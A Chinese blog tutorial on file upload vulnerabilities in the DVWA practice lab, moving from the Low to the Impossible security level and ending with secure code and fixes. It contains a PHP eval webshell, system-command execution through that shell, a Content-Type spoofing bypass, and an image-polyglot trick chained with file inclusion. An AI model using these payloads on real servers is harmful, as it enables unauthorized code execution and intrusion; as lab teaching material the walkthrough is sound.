Web渗透_文件上传漏洞






文件上传漏洞

File upload:Web允许用户上传恶意代码文件,并且在服务器上运行


happysneaker.com



Low等级:


正常操作


happysneaker.com


将一张 test.jpg图片上传,得到上传后的图片存放地址:

happysneaker.com


将../../去掉,最终地址就是:

happysneaker.com


尝试访问一下,成功。

happysneaker.com



异常操作


新建一个PHPinfo.php 文件写入<?php phpinfo(); ?> ,将文件上传,访问成功,说明这里存在文件上传漏洞,并且可以执行PHP文件:

happysneaker.com


那么开始尝试攻击,试试PHP的一句话webshell :编写 cmd.php ,写入 <?php @eval($_GET['cmd']);  ?> ,将cmd.php上传,然后访问,访问方式就是在cmd=后面添加自己喜欢的参数,比如  phpinfo();   注意别忘了;分号。

happysneaker.com


试试 system('dir');  同样成功:

happysneaker.com


再试试 system('type D:\\phpStudy\\WWW\\DVWA-1.9\\php.ini');   成功:

happysneaker.com



Low等级就结束了,再看 Medium等级:


将PHP文件上传,系统提示只可以上传 JPEG 或者 png格式的文件。可以分别对成功上传、失败上传进行数据包抓取分析,不断更改失败的数据包重放,发现只要Content-Type为 image/jpeg 即可成功上传PHP文件。这个思路要第一时间想到。

happysneaker.com

happysneaker.com




High等级:

前两种方法都不行,尝试从文件名和文件内容入手,上传如下三种方式的文件都不行:

happysneaker.com





思路:尝试“内涵图”,文件上传漏洞必须掌握的技巧。


① 准备一张图片 1.jpg  ,一个txt文件写入PHP攻击代码比如<?php phpinfo(); ?>  为 1.txt

② windows的cmd窗口下输入 : copy 1.jpg/b+1.txt/a 2.jpg


/b 的意思是二进制文件  ,  /a 的意思是文本文件。


过程就是将 1.jpg 和 1.txt 制作成 2.jpg 。打开照片和普通照片一样,但是编辑打开就会发现PHP代码。

happysneaker.com

happysneaker.com


将 2.jpg 上传,然后访问下载 uploads/2.jpg ,编辑打开发现里面还存在PHP代码,说明服务器未对图片进行操作。那么下一步如何运行这张照片里的PHP代码?

 

记得前一篇文章《Web渗透_文件包含漏洞》的High等级中提过的吗,文件包含漏洞High等级的远程执行PHP文件实现不了,因为只能用file:// 协议访问本服务器的文件。

而配合现在的文件上传漏洞,我们已经成功将PHP代码通过“内涵图”上传了上去,只需要通过文件包含漏洞来执行即可:

happysneaker.com

两个High等级的不同漏洞进行配合,执行成功。


此外通过 NGINX 服务器的畸形解析,也可以执行成功(未实际操作过,记住即可)。






最后是impossible等级,上传图片后服务器对图片进行了处理,重新下载图片发现其中的PHP代码已经被处理掉了,重新生成了正确的图片,代码如下:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>







文件上传漏洞修复方法:


① 对三个地方进行白名单过滤:

happysneaker.com


② 

happysneaker.com









Web安全技术分享
请先登录后发表评论
  • 最新评论
  • 总共0条评论